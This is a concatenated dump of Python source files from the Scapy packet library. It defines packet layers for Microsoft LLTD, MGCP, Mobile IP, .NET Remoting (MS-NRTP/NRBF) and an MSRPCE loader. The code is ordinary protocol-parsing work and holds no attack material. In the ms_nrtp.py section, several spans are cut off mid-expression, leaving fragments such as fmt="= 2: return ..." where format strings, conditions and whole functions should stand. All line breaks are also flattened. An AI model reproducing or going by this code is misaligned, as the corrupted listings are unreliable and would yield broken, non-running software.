eth.fields_desc[1].i2m(eth, eth.src) + pkt[16:]) return pkt + pay def mysummary(self): if isinstance(self.underlayer, Ether): return self.underlayer.sprintf( 'LLTD %src% > %dst% %LLTD.tos% - %LLTD.function%' ) else: return self.sprintf('LLTD %tos% - %function%') def hashret(self): tos, function = self.tos, self.function return b"%c%c" % self.answer_hashret.get((tos, function), (tos, function)) def answers(self, other): if not isinstance(other, LLTD): return False if self.tos == 0: if self.function == 0 and isinstance(self.payload, LLTDDiscover) \ and len(self[LLTDDiscover].stations_list) == 1: # "Topology discovery - Discover" with one MAC address # discovered answers a "Quick discovery - Hello" return other.tos == 1 and \ other.function == 1 and \ LLTDAttributeHostID in other and \ other[LLTDAttributeHostID].mac == \ self[LLTDDiscover].stations_list[0] elif self.function == 12: # "Topology discovery - QueryLargeTlvResp" answers # "Topology discovery - QueryLargeTlv" with same .seq # value return other.tos == 0 and other.function == 11 \ and other.seq == self.seq elif self.tos == 1: if self.function == 1 and isinstance(self.payload, LLTDHello): # "Quick discovery - Hello" answers a "Topology # discovery - Discover" return other.tos == 0 and other.function == 0 and \ other.real_src == self.current_mapper_address return False class LLTDHello(Packet): name = "LLTD - Hello" show_summary = False fields_desc = [ ShortField("gen_number", 0), MACField("current_mapper_address", ETHER_ANY), MACField("apparent_mapper_address", ETHER_ANY), ] class LLTDDiscover(Packet): name = "LLTD - Discover" fields_desc = [ ShortField("gen_number", 0), FieldLenField("stations_count", None, count_of="stations_list", fmt="H"), FieldListField("stations_list", [], MACField("", ETHER_ANY), count_from=lambda pkt: pkt.stations_count) ] def mysummary(self): return (self.sprintf("Stations: %stations_list%") if self.stations_list else "No station", [LLTD]) class LLTDEmiteeDesc(Packet): name = "LLTD - Emitee Desc" fields_desc = [ ByteEnumField("type", 0, {0: "Train", 1: "Probe"}), ByteField("pause", 0), MACField("src", None), MACField("dst", ETHER_ANY), ] class LLTDEmit(Packet): name = "LLTD - Emit" fields_desc = [ FieldLenField("descs_count", None, count_of="descs_list", fmt="H"), PacketListField("descs_list", [], LLTDEmiteeDesc, count_from=lambda pkt: pkt.descs_count), ] def mysummary(self): return ", ".join(desc.sprintf("%src% > %dst%") for desc in self.descs_list), [LLTD] class LLTDRecveeDesc(Packet): name = "LLTD - Recvee Desc" fields_desc = [ ShortEnumField("type", 0, {0: "Probe", 1: "ARP or ICMPv6"}), MACField("real_src", ETHER_ANY), MACField("ether_src", ETHER_ANY), MACField("ether_dst", ETHER_ANY), ] class LLTDQueryResp(Packet): name = "LLTD - Query Response" fields_desc = [ FlagsField("flags", 0, 2, "ME"), BitField("descs_count", None, 14), PacketListField("descs_list", [], LLTDRecveeDesc, count_from=lambda pkt: pkt.descs_count), ] def post_build(self, pkt, pay): if self.descs_count is None: # descs_count should be a FieldLenField but has an # unsupported format (14 bits) flags = orb(pkt[0]) & 0xc0 count = len(self.descs_list) pkt = chb(flags + (count >> 8)) + chb(count % 256) + pkt[2:] return pkt + pay def mysummary(self): return self.sprintf("%d response%s" % ( self.descs_count, "s" if self.descs_count > 1 else "")), [LLTD] class LLTDQueryLargeTlv(Packet): name = "LLTD - Query Large Tlv" fields_desc = [ ByteEnumField("type", 14, { 14: "Icon image", 17: "Friendly Name", 19: "Hardware ID", 22: "AP Association Table", 24: "Detailed Icon Image", 26: "Component Table", 28: "Repeater AP Table", }), ThreeBytesField("offset", 0), ] def mysummary(self): return self.sprintf("%type% (offset %offset%)"), [LLTD] class LLTDQueryLargeTlvResp(Packet): name = "LLTD - Query Large Tlv Response" fields_desc = [ FlagsField("flags", 0, 2, "RM"), BitField("len", None, 14), StrLenField("value", "", length_from=lambda pkt: pkt.len) ] def post_build(self, pkt, pay): if self.len is None: # len should be a FieldLenField but has an unsupported # format (14 bits) flags = orb(pkt[0]) & 0xc0 length = len(self.value) pkt = chb(flags + (length >> 8)) + chb(length % 256) + pkt[2:] return pkt + pay def mysummary(self): return self.sprintf("%%len%% bytes%s" % ( " (last)" if not self.flags & 2 else "" )), [LLTD] class LLTDAttribute(Packet): name = "LLTD Attribute" show_indent = False show_summary = False # section 2.2.1.1 fields_desc = [ ByteEnumField("type", 0, { 0: "End Of Property", 1: "Host ID", 2: "Characteristics", 3: "Physical Medium", 7: "IPv4 Address", 9: "802.11 Max Rate", 10: "Performance Counter Frequency", 12: "Link Speed", 14: "Icon Image", 15: "Machine Name", 18: "Device UUID", 20: "QoS Characteristics", 21: "802.11 Physical Medium", 24: "Detailed Icon Image", }), FieldLenField("len", None, length_of="value", fmt="B"), StrLenField("value", "", length_from=lambda pkt: pkt.len), ] @classmethod def dispatch_hook(cls, _pkt=None, *_, **kargs): if _pkt: cmd = orb(_pkt[0]) elif "type" in kargs: cmd = kargs["type"] if isinstance(cmd, str): cmd = cls.fields_desc[0].s2i[cmd] else: return cls return SPECIFIC_CLASSES.get(cmd, cls) SPECIFIC_CLASSES = {} def _register_lltd_specific_class(*attr_types): """This can be used as a class decorator; if we want to support Python 2.5, we have to replace @_register_lltd_specific_class(x[, y[, ...]]) class LLTDAttributeSpecific(LLTDAttribute): [...] by class LLTDAttributeSpecific(LLTDAttribute): [...] LLTDAttributeSpecific = _register_lltd_specific_class(x[, y[, ...]])( LLTDAttributeSpecific ) """ def _register(cls): for attr_type in attr_types: SPECIFIC_CLASSES[attr_type] = cls type_fld = LLTDAttribute.fields_desc[0].copy() type_fld.default = attr_types[0] cls.fields_desc = [type_fld] + cls.fields_desc return cls return _register @_register_lltd_specific_class(0) class LLTDAttributeEOP(LLTDAttribute): name = "LLTD Attribute - End Of Property" fields_desc = [] @_register_lltd_specific_class(1) class LLTDAttributeHostID(LLTDAttribute): name = "LLTD Attribute - Host ID" fields_desc = [ ByteField("len", 6), MACField("mac", ETHER_ANY), ] def mysummary(self): return "ID: %s" % self.mac, [LLTD, LLTDAttributeMachineName] @_register_lltd_specific_class(2) class LLTDAttributeCharacteristics(LLTDAttribute): name = "LLTD Attribute - Characteristics" fields_desc = [ # According to MS doc, "this field MUST be set to 0x02". But # according to MS implementation, that's wrong. # ByteField("len", 2), FieldLenField("len", None, length_of="reserved2", fmt="B", adjust=lambda _, x: x + 2), FlagsField("flags", 0, 5, "PXFML"), BitField("reserved1", 0, 11), StrLenField("reserved2", "", length_from=lambda x: x.len - 2) ] @_register_lltd_specific_class(3) class LLTDAttributePhysicalMedium(LLTDAttribute): name = "LLTD Attribute - Physical Medium" fields_desc = [ ByteField("len", 4), IntEnumField("medium", 6, { # https://www.iana.org/assignments/ianaiftype-mib/ianaiftype-mib 1: "other", 2: "regular1822", 3: "hdh1822", 4: "ddnX25", 5: "rfc877x25", 6: "ethernetCsmacd", 7: "iso88023Csmacd", 8: "iso88024TokenBus", 9: "iso88025TokenRing", 10: "iso88026Man", 11: "starLan", 12: "proteon10Mbit", 13: "proteon80Mbit", 14: "hyperchannel", 15: "fddi", 16: "lapb", 17: "sdlc", 18: "ds1", 19: "e1", 20: "basicISDN", 21: "primaryISDN", 22: "propPointToPointSerial", 23: "ppp", 24: "softwareLoopback", 25: "eon", 26: "ethernet3Mbit", 27: "nsip", 28: "slip", 29: "ultra", 30: "ds3", 31: "sip", 32: "frameRelay", 33: "rs232", 34: "para", 35: "arcnet", 36: "arcnetPlus", 37: "atm", 38: "miox25", 39: "sonet", 40: "x25ple", 41: "iso88022llc", 42: "localTalk", 43: "smdsDxi", 44: "frameRelayService", 45: "v35", 46: "hssi", 47: "hippi", 48: "modem", 49: "aal5", 50: "sonetPath", 51: "sonetVT", 52: "smdsIcip", 53: "propVirtual", 54: "propMultiplexor", 55: "ieee80212", 56: "fibreChannel", 57: "hippiInterface", 58: "frameRelayInterconnect", 59: "aflane8023", 60: "aflane8025", 61: "cctEmul", 62: "fastEther", 63: "isdn", 64: "v11", 65: "v36", 66: "g703at64k", 67: "g703at2mb", 68: "qllc", 69: "fastEtherFX", 70: "channel", 71: "ieee80211", 72: "ibm370parChan", 73: "escon", 74: "dlsw", 75: "isdns", 76: "isdnu", 77: "lapd", 78: "ipSwitch", 79: "rsrb", 80: "atmLogical", 81: "ds0", 82: "ds0Bundle", 83: "bsc", 84: "async", 85: "cnr", 86: "iso88025Dtr", 87: "eplrs", 88: "arap", 89: "propCnls", 90: "hostPad", 91: "termPad", 92: "frameRelayMPI", 93: "x213", 94: "adsl", 95: "radsl", 96: "sdsl", 97: "vdsl", 98: "iso88025CRFPInt", 99: "myrinet", 100: "voiceEM", 101: "voiceFXO", 102: "voiceFXS", 103: "voiceEncap", 104: "voiceOverIp", 105: "atmDxi", 106: "atmFuni", 107: "atmIma", 108: "pppMultilinkBundle", 109: "ipOverCdlc", 110: "ipOverClaw", 111: "stackToStack", 112: "virtualIpAddress", 113: "mpc", 114: "ipOverAtm", 115: "iso88025Fiber", 116: "tdlc", 117: "gigabitEthernet", 118: "hdlc", 119: "lapf", 120: "v37", 121: "x25mlp", 122: "x25huntGroup", 123: "transpHdlc", 124: "interleave", 125: "fast", 126: "ip", 127: "docsCableMaclayer", 128: "docsCableDownstream", 129: "docsCableUpstream", 130: "a12MppSwitch", 131: "tunnel", 132: "coffee", 133: "ces", 134: "atmSubInterface", 135: "l2vlan", 136: "l3ipvlan", 137: "l3ipxvlan", 138: "digitalPowerline", 139: "mediaMailOverIp", 140: "dtm", 141: "dcn", 142: "ipForward", 143: "msdsl", 144: "ieee1394", 145: "if-gsn", 146: "dvbRccMacLayer", 147: "dvbRccDownstream", 148: "dvbRccUpstream", 149: "atmVirtual", 150: "mplsTunnel", 151: "srp", 152: "voiceOverAtm", 153: "voiceOverFrameRelay", 154: "idsl", 155: "compositeLink", 156: "ss7SigLink", 157: "propWirelessP2P", 158: "frForward", 159: "rfc1483", 160: "usb", 161: "ieee8023adLag", 162: "bgppolicyaccounting", 163: "frf16MfrBundle", 164: "h323Gatekeeper", 165: "h323Proxy", 166: "mpls", 167: "mfSigLink", 168: "hdsl2", 169: "shdsl", 170: "ds1FDL", 171: "pos", 172: "dvbAsiIn", 173: "dvbAsiOut", 174: "plc", 175: "nfas", 176: "tr008", 177: "gr303RDT", 178: "gr303IDT", 179: "isup", 180: "propDocsWirelessMaclayer", 181: "propDocsWirelessDownstream", 182: "propDocsWirelessUpstream", 183: "hiperlan2", 184: "propBWAp2Mp", 185: "sonetOverheadChannel", 186: "digitalWrapperOverheadChannel", 187: "aal2", 188: "radioMAC", 189: "atmRadio", 190: "imt", 191: "mvl", 192: "reachDSL", 193: "frDlciEndPt", 194: "atmVciEndPt", 195: "opticalChannel", 196: "opticalTransport", 197: "propAtm", 198: "voiceOverCable", 199: "infiniband", 200: "teLink", 201: "q2931", 202: "virtualTg", 203: "sipTg", 204: "sipSig", 205: "docsCableUpstreamChannel", 206: "econet", 207: "pon155", 208: "pon622", 209: "bridge", 210: "linegroup", 211: "voiceEMFGD", 212: "voiceFGDEANA", 213: "voiceDID", 214: "mpegTransport", 215: "sixToFour", 216: "gtp", 217: "pdnEtherLoop1", 218: "pdnEtherLoop2", 219: "opticalChannelGroup", 220: "homepna", 221: "gfp", 222: "ciscoISLvlan", 223: "actelisMetaLOOP", 224: "fcipLink", 225: "rpr", 226: "qam", 227: "lmp", 228: "cblVectaStar", 229: "docsCableMCmtsDownstream", 230: "adsl2", 231: "macSecControlledIF", 232: "macSecUncontrolledIF", 233: "aviciOpticalEther", 234: "atmbond", 235: "voiceFGDOS", 236: "mocaVersion1", 237: "ieee80216WMAN", 238: "adsl2plus", 239: "dvbRcsMacLayer", 240: "dvbTdm", 241: "dvbRcsTdma", 242: "x86Laps", 243: "wwanPP", 244: "wwanPP2", 245: "voiceEBS", 246: "ifPwType", 247: "ilan", 248: "pip", 249: "aluELP", 250: "gpon", 251: "vdsl2", 252: "capwapDot11Profile", 253: "capwapDot11Bss", 254: "capwapWtpVirtualRadio", 255: "bits", 256: "docsCableUpstreamRfPort", 257: "cableDownstreamRfPort", 258: "vmwareVirtualNic", 259: "ieee802154", 260: "otnOdu", 261: "otnOtu", 262: "ifVfiType", 263: "g9981", 264: "g9982", 265: "g9983", 266: "aluEpon", 267: "aluEponOnu", 268: "aluEponPhysicalUni", 269: "aluEponLogicalLink", 271: "aluGponPhysicalUni", 272: "vmwareNicTeam", 277: "docsOfdmDownstream", 278: "docsOfdmaUpstream", 279: "gfast", 280: "sdci", }), ] @_register_lltd_specific_class(7) class LLTDAttributeIPv4Address(LLTDAttribute): name = "LLTD Attribute - IPv4 Address" fields_desc = [ ByteField("len", 4), IPField("ipv4", "0.0.0.0"), ] @_register_lltd_specific_class(8) class LLTDAttributeIPv6Address(LLTDAttribute): name = "LLTD Attribute - IPv6 Address" fields_desc = [ ByteField("len", 16), IP6Field("ipv6", "::"), ] @_register_lltd_specific_class(9) class LLTDAttribute80211MaxRate(LLTDAttribute): name = "LLTD Attribute - 802.11 Max Rate" fields_desc = [ ByteField("len", 2), ShortField("rate", 0), ] @_register_lltd_specific_class(10) class LLTDAttributePerformanceCounterFrequency(LLTDAttribute): name = "LLTD Attribute - Performance Counter Frequency" fields_desc = [ ByteField("len", 8), LongField("freq", 0), ] @_register_lltd_specific_class(12) class LLTDAttributeLinkSpeed(LLTDAttribute): name = "LLTD Attribute - Link Speed" fields_desc = [ ByteField("len", 4), IntField("speed", 0), ] @_register_lltd_specific_class(14, 24, 26) class LLTDAttributeLargeTLV(LLTDAttribute): name = "LLTD Attribute - Large TLV" fields_desc = [ ByteField("len", 0), ] @_register_lltd_specific_class(15) class LLTDAttributeMachineName(LLTDAttribute): name = "LLTD Attribute - Machine Name" fields_desc = [ FieldLenField("len", None, length_of="hostname", fmt="B"), StrLenFieldUtf16("hostname", "", length_from=lambda pkt: pkt.len), ] def mysummary(self): return (f"Hostname: {self.hostname!r}", [LLTD, LLTDAttributeHostID]) @_register_lltd_specific_class(18) class LLTDAttributeDeviceUUID(LLTDAttribute): name = "LLTD Attribute - Device UUID" fields_desc = [ FieldLenField("len", None, length_of="uuid", fmt="B"), StrLenField("uuid", b"\x00" * 16, length_from=lambda pkt: pkt.len), ] @_register_lltd_specific_class(20) class LLTDAttributeQOSCharacteristics(LLTDAttribute): name = "LLTD Attribute - QoS Characteristics" fields_desc = [ ByteField("len", 4), FlagsField("flags", 0, 3, "EQP"), BitField("reserved1", 0, 13), ShortField("reserved2", 0), ] @_register_lltd_specific_class(21) class LLTDAttribute80211PhysicalMedium(LLTDAttribute): name = "LLTD Attribute - 802.11 Physical Medium" fields_desc = [ ByteField("len", 1), ByteEnumField("medium", 0, { 0: "Unknown", 1: "FHSS 2.4 GHz", 2: "DSSS 2.4 GHz", 3: "IR Baseband", 4: "OFDM 5 GHz", 5: "HRDSSS", 6: "ERP", }), ] @_register_lltd_specific_class(25) class LLTDAttributeSeesList(LLTDAttribute): name = "LLTD Attribute - Sees List Working Set" fields_desc = [ ByteField("len", 2), ShortField("max_entries", 0), ] bind_layers(Ether, LLTD, type=0x88d9) bind_layers(LLTD, LLTDDiscover, tos=0, function=0) bind_layers(LLTD, LLTDDiscover, tos=1, function=0) bind_layers(LLTD, LLTDHello, tos=0, function=1) bind_layers(LLTD, LLTDHello, tos=1, function=1) bind_layers(LLTD, LLTDEmit, tos=0, function=2) bind_layers(LLTD, LLTDQueryResp, tos=0, function=7) bind_layers(LLTD, LLTDQueryLargeTlv, tos=0, function=11) bind_layers(LLTD, LLTDQueryLargeTlvResp, tos=0, function=12) bind_layers(LLTDHello, LLTDAttribute) bind_layers(LLTDAttribute, LLTDAttribute) bind_layers(LLTDAttribute, Padding, type=0) bind_layers(LLTDEmiteeDesc, Padding) bind_layers(LLTDRecveeDesc, Padding) # Utils ######## class LargeTlvBuilder(object): """An object to build content fetched through LLTDQueryLargeTlv / LLTDQueryLargeTlvResp packets. Usable with a PacketList() object: >>> p = LargeTlvBuilder() >>> p.parse(rdpcap('capture_file.cap')) Or during a network capture: >>> p = LargeTlvBuilder() >>> sniff(filter="ether proto 0x88d9", prn=p.parse) To get the result, use .get_data() """ def __init__(self): self.types_offsets = {} self.data = {} def parse(self, plist): """Update the builder using the provided `plist`. `plist` can be either a Packet() or a PacketList(). """ if not isinstance(plist, PacketList): plist = PacketList(plist) for pkt in plist[LLTD]: if LLTDQueryLargeTlv in pkt: key = "%s:%s:%d" % (pkt.real_dst, pkt.real_src, pkt.seq) self.types_offsets[key] = (pkt[LLTDQueryLargeTlv].type, pkt[LLTDQueryLargeTlv].offset) elif LLTDQueryLargeTlvResp in pkt: try: key = "%s:%s:%d" % (pkt.real_src, pkt.real_dst, pkt.seq) content, offset = self.types_offsets[key] except KeyError: continue loc = slice(offset, offset + pkt[LLTDQueryLargeTlvResp].len) key = "%s > %s [%s]" % ( pkt.real_src, pkt.real_dst, LLTDQueryLargeTlv.fields_desc[0].i2s.get(content, content), ) data = self.data.setdefault(key, array("B")) datalen = len(data) if datalen < loc.stop: data.extend(array("B", b"\x00" * (loc.stop - datalen))) data[loc] = array("B", pkt[LLTDQueryLargeTlvResp].value) def get_data(self): """Returns a dictionary object, keys are strings "source > destincation [content type]", and values are the content fetched, also as a string. """ return {key: "".join(chr(byte) for byte in data) for key, data in self.data.items()} ================================================ FILE: scapy/layers/mgcp.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ MGCP (Media Gateway Control Protocol) [RFC 2805] """ from scapy.packet import Packet, bind_layers, bind_bottom_up from scapy.fields import StrFixedLenField, StrStopField from scapy.layers.inet import UDP class MGCP(Packet): name = "MGCP" longname = "Media Gateway Control Protocol" fields_desc = [StrStopField("verb", "AUEP", b" ", -1), StrFixedLenField("sep1", " ", 1), StrStopField("transaction_id", "1234567", b" ", -1), StrFixedLenField("sep2", " ", 1), StrStopField("endpoint", "dummy@dummy.net", b" ", -1), StrFixedLenField("sep3", " ", 1), StrStopField("version", "MGCP 1.0 NCS 1.0", b"\x0a", -1), StrFixedLenField("sep4", b"\x0a", 1), ] # class MGCP(Packet): # name = "MGCP" # longname = "Media Gateway Control Protocol" # fields_desc = [ ByteEnumField("type",0, ["request","response","others"]), # ByteField("code0",0), # ByteField("code1",0), # ByteField("code2",0), # ByteField("code3",0), # ByteField("code4",0), # IntField("trasid",0), # IntField("req_time",0), # ByteField("is_duplicate",0), # ByteField("req_available",0) ] # bind_bottom_up(UDP, MGCP, dport=2727) bind_bottom_up(UDP, MGCP, sport=2727) bind_layers(UDP, MGCP, sport=2727, dport=2727) ================================================ FILE: scapy/layers/mobileip.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ Mobile IP. """ from scapy.fields import ByteEnumField, ByteField, IPField, LongField, \ ShortField, XByteField from scapy.packet import Packet, bind_layers, bind_bottom_up from scapy.layers.inet import IP, UDP class MobileIP(Packet): name = "Mobile IP (RFC3344)" fields_desc = [ByteEnumField("type", 1, {1: "RRQ", 3: "RRP"})] class MobileIPRRQ(Packet): name = "Mobile IP Registration Request (RFC3344)" fields_desc = [XByteField("flags", 0), ShortField("lifetime", 180), IPField("homeaddr", "0.0.0.0"), IPField("haaddr", "0.0.0.0"), IPField("coaddr", "0.0.0.0"), LongField("id", 0), ] class MobileIPRRP(Packet): name = "Mobile IP Registration Reply (RFC3344)" fields_desc = [ByteField("code", 0), ShortField("lifetime", 180), IPField("homeaddr", "0.0.0.0"), IPField("haaddr", "0.0.0.0"), LongField("id", 0), ] class MobileIPTunnelData(Packet): name = "Mobile IP Tunnel Data Message (RFC3519)" fields_desc = [ByteField("nexthdr", 4), ShortField("res", 0)] bind_bottom_up(UDP, MobileIP, dport=434) bind_bottom_up(UDP, MobileIP, sport=434) bind_layers(UDP, MobileIP, sport=434, dport=434) bind_layers(MobileIP, MobileIPRRQ, type=1) bind_layers(MobileIP, MobileIPRRP, type=3) bind_layers(MobileIP, MobileIPTunnelData, type=4) bind_layers(MobileIPTunnelData, IP, nexthdr=4) ================================================ FILE: scapy/layers/ms_nrtp.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter """ .NET RemoTing Protocol This implements: - [MS-NRTP] - .NET Remoting Core Protocol - [MS-NRBF] - .NET Remoting Binary Format """ import enum import functools import struct from scapy.automaton import Automaton, ATMT from scapy.config import conf from scapy.main import interact from scapy.fields import ( ByteEnumField, ByteField, ConditionalField, FieldLenField, FieldListField, FlagsField, LEIntField, LELongField, LEShortEnumField, LEShortField, LESignedIntField, LESignedLongField, LESignedShortField, LenField, MSBExtendedField, MultipleTypeField, PacketField, PacketListField, SignedByteField, StrField, StrFixedLenField, StrLenField, StrLenFieldUtf16, ) from scapy.packet import Packet from scapy.supersocket import StreamSocket # [MS-NRTP] sect 2.2.3.2.1 class CountedString(Packet): fields_desc = [ ByteEnumField( "StringEncoding", 0, { 0: "Unicode", 1: "UTF8", }, ), FieldLenField("Length", None, fmt="= 2: return cls.registered_headers.get( struct.unpack("= 14: cd = struct.unpack("= length: # Get content-type try: content_type = next( x.ContentTypeValue.StringData for x in pkt.Headers if x.HeaderToken == 6 ) session["content_type"] = content_type except StopIteration: # Not in this packet. Do we know it from the session? content_type = session.get("content_type", None) if not content_type: return pkt # We have a content-type. Parse it. if content_type == b"application/octet-stream": # pkt.payload is NRBF. pkt.payload = NRBF(bytes(pkt.payload)) return pkt return None # [MS-NRBF] .NET Remoting Binary Format class MSBExtendedFieldLen(MSBExtendedField): __slots__ = FieldLenField.__slots__ def __init__(self, name, default, length_of=None): FieldLenField.__init__(self, name, default, length_of=length_of) super(MSBExtendedFieldLen, self).__init__(name, default) i2m = FieldLenField.i2m # [MS-NRBF] sect 2.1.1.6 class NRBFLengthPrefixedString(Packet): fields_desc = [ MSBExtendedFieldLen("Length", None, length_of="String"), StrLenField("String", b"", length_from=lambda pkt: pkt.Length), ] def default_payload_class(self, payload): return conf.padding_layer # [MS-NRBF] sect 2.1.1.8 class NRBFClassTypeInfo(Packet): fields_desc = [ PacketField("TypeName", NRBFLengthPrefixedString(), NRBFLengthPrefixedString), LESignedIntField("LibraryId", 0), ] def default_payload_class(self, payload): return conf.padding_layer # [MS-NRBF] sect 2.1.2.3 class PrimitiveTypeEnum(enum.IntEnum): Boolean = 1 Byte = 2 Char = 2 Decimal = 5 Double = 6 Int16 = 7 Int32 = 8 Int64 = 9 SByte = 10 Single = 11 TimeSpan = 12 DateTime = 13 UInt16 = 14 UInt32 = 15 UInt64 = 16 Null = 17 String = 18 # [MS-NRBF] sect 2.1.2.2 class BinaryTypeEnum(enum.IntEnum): Primitive = 0 String = 1 Object = 2 SystemClass = 3 Class = 4 ObjectArray = 5 StringArray = 6 PrimitiveArray = 7 # [MS-NRBF] sect 2.2.2.1 class NRBFValueWithCode(Packet): fields_desc = [ ByteEnumField("PrimitiveType", 0, PrimitiveTypeEnum), MultipleTypeField( [ (ByteField("Value", 0), lambda pkt: pkt.PrimitiveType in [1, 2, 3, 4]), (LESignedShortField("Value", 0), lambda pkt: pkt.PrimitiveType == 7), (LESignedIntField("Value", 0), lambda pkt: pkt.PrimitiveType == 8), (LESignedLongField("Value", 0), lambda pkt: pkt.PrimitiveType == 9), (SignedByteField("Value", 0), lambda pkt: pkt.PrimitiveType == 10), (LEShortField("Value", 0), lambda pkt: pkt.PrimitiveType == 14), (LEIntField("Value", 0), lambda pkt: pkt.PrimitiveType == 15), (LELongField("Value", 0), lambda pkt: pkt.PrimitiveType == 16), ( PacketField( "Value", NRBFLengthPrefixedString(), NRBFLengthPrefixedString ), lambda pkt: pkt.PrimitiveType == 18, ), ], StrFixedLenField("Value", b"", length=0), ), ] def default_payload_class(self, payload): return conf.padding_layer # [MS-NRBF] sect 2.2.2.2 class NRBFStringValueWithCode(NRBFValueWithCode): PrimitiveType = 18 StringValueWithCode = lambda name: PacketField( name, NRBFStringValueWithCode(), NRBFStringValueWithCode ) # [MS-NRBF] sect 2.2.2.3 class NRBFArrayOfValueWithCode(Packet): fields_desc = [ FieldLenField("Length", None, fmt="= pkt.MemberCount: return None if hasattr(pkt, "BinaryTypeEnums"): if index < len(pkt.BinaryTypeEnums): typeEnum = pkt.BinaryTypeEnums[index] if typeEnum == BinaryTypeEnum.Primitive: # Get AdditionalInfo to get the matching primitive type. primitiveType = pkt.AdditionalInfos[ sum( 1 for x in pkt.BinaryTypeEnums[:index] if x not in [ BinaryTypeEnum.String, BinaryTypeEnum.Object, BinaryTypeEnum.ObjectArray, BinaryTypeEnum.StringArray, ] ) ].Value return functools.partial( NRBFMemberPrimitiveUnTyped, primtype=PrimitiveTypeEnum(primitiveType), ) return NRBFRecord class _NRBFMembers(Packet): fields_desc = [ PacketListField( "Members", [], None, next_cls_cb=_members_cb, ) ] # [MS-NRBF] sect 2.3.1.1 class NRBFClassInfo(Packet): fields_desc = [ LESignedIntField("ObjectId", 0), PacketField("Name", NRBFLengthPrefixedString(), NRBFLengthPrefixedString), FieldLenField("MemberCount", None, fmt="= index ) except StopIteration: return None typeEnum = BinaryTypeEnum(typeEnum) # Return BinaryTypeEnum tainted with a preselected type. return functools.partial( NRBFAdditionalInfo, bintype=typeEnum, ) class NRBFMemberTypeInfo(Packet): fields_desc = [ FieldListField( "BinaryTypeEnums", [], ByteEnumField("", 0, BinaryTypeEnum), count_from=lambda pkt: pkt.MemberCount, ), PacketListField( "AdditionalInfos", [], None, next_cls_cb=_member_type_infos_cb, ), ] # [MS-NRBF] 2.3.2.5 class NRBFClassWithId(NRBFRecord): RecordTypeEnum = 1 fields_desc = [ NRBFRecord, LESignedIntField("ObjectId", 0), LESignedIntField("MetadataId", 0), ] # [MS-NRBF] sect 2.5.2 class NRBFMemberPrimitiveUnTyped(Packet): __slots__ = ["primtype"] fields_desc = [ NRBFValueWithCode.fields_desc[1], ] def __init__(self, _pkt=None, **kwargs): self.primtype = kwargs.pop("primtype", PrimitiveTypeEnum.Byte) assert isinstance(self.primtype, PrimitiveTypeEnum) super(NRBFMemberPrimitiveUnTyped, self).__init__(_pkt, **kwargs) def clone_with(self, *args, **kwargs): pkt = super(NRBFMemberPrimitiveUnTyped, self).clone_with(*args, **kwargs) pkt.primtype = self.primtype return pkt def copy(self): pkt = super(NRBFMemberPrimitiveUnTyped, self).copy() pkt.primtype = self.primtype return pkt @property def PrimitiveType(self): return self.primtype def default_payload_class(self, payload): return conf.padding_layer # [MS-NRBF] sect 2.3.2.1 class NRBFClassWithMembersAndTypes(NRBFRecord): RecordTypeEnum = 5 fields_desc = [ NRBFRecord, NRBFClassInfo, NRBFMemberTypeInfo, LESignedIntField("LibraryId", 0), _NRBFMembers, ] # [MS-NRBF] sect 2.3.2.3 class NRBFSystemClassWithMembersAndTypes(NRBFRecord): RecordTypeEnum = 4 fields_desc = [ NRBFRecord, NRBFClassInfo, NRBFMemberTypeInfo, _NRBFMembers, ] # [MS-NRBF] sect 2.3.2.4 class NRBFSystemClassWithMembers(NRBFRecord): RecordTypeEnum = 2 fields_desc = [ NRBFRecord, NRBFClassInfo, _NRBFMembers, ] # [MS-NRBF] sect 2.4.2.1 class ArrayInfo(Packet): fields_desc = [LEIntField("ObjectId", 0), LEIntField("Length", None)] # [MS-NRBF] sect 2.4.3.2 class NRBFArraySingleObject(NRBFRecord): RecordTypeEnum = 16 Length = 1 fields_desc = [ NRBFRecord, ArrayInfo, ] # [MS-NRBF] sect 2.4.3.3 def _values_singleprim_cb(pkt, lst, cur, remain): index = len(lst) + (1 if cur is not None else 0) if index >= pkt.Length: return None return functools.partial( NRBFMemberPrimitiveUnTyped, primtype=PrimitiveTypeEnum(pkt.PrimitiveTypeEnum), ) class NRBFArraySinglePrimitive(NRBFRecord): RecordTypeEnum = 15 fields_desc = [ NRBFRecord, ArrayInfo, ByteEnumField("PrimitiveTypeEnum", 0, PrimitiveTypeEnum), MultipleTypeField( [ ( StrLenField("Values", [], length_from=lambda pkt: pkt.Length), lambda pkt: pkt.PrimitiveTypeEnum == PrimitiveTypeEnum.Byte, ) ], PacketListField( "Values", [], next_cls_cb=_values_singleprim_cb, max_count=1000, ), ), ] def post_build(self, p, pay): if self.Length is None: p = p[:5] + struct.pack(" """ All MSRPCE layers """ import uuid from scapy.error import log_loading from scapy.main import load_layer from scapy.layers.dcerpc import ( DCE_RPC_INTERFACES_NAMES, DCE_RPC_INTERFACES_NAMES_rev, ) __all__ = [] # Load all layers bundled with Scapy _LAYERS = [ # High-level classes "msrpce.msdcom", "msrpce.mseerr", "msrpce.msnrpc", "msrpce.mspac", # Client / Server "msrpce.rpcclient", "msrpce.rpcserver", # Low-level RPC definitions "msrpce.raw.ept", "msrpce.raw.ms_dcom", "msrpce.raw.ms_drsr", "msrpce.raw.ms_nrpc", "msrpce.raw.ms_samr", "msrpce.raw.ms_srvs", "msrpce.raw.ms_wkst", ] for _l in _LAYERS: log_loading.debug("Loading MSRPCE layer %s", _l) try: load_layer(_l, globals_dict=globals(), symb_list=__all__) except Exception as e: log_loading.warning("can't import layer %s: %s", _l, e) # Populate DCE_RPC_INTERFACES_NAMES for some well-known interfaces # Well-Known = from MSDN _DCE_RPC_WELL_KNOWN_UUIDS = [ (uuid.UUID("00000000-0000-0000-c000-000000000046"), "IUnknown"), (uuid.UUID("00000131-0000-0000-c000-000000000046"), "IRemUnknown"), (uuid.UUID("00000143-0000-0000-c000-000000000046"), "IRemUnknown2"), (uuid.UUID("000001a0-0000-0000-c000-000000000046"), "IRemoteSCMActivator"), (uuid.UUID("00020400-0000-0000-c000-000000000046"), "IDispatch"), (uuid.UUID("00020401-0000-0000-c000-000000000046"), "ITypeInfo"), (uuid.UUID("00020402-0000-0000-c000-000000000046"), "ITypeLib"), (uuid.UUID("00020403-0000-0000-c000-000000000046"), "ITypeComp"), 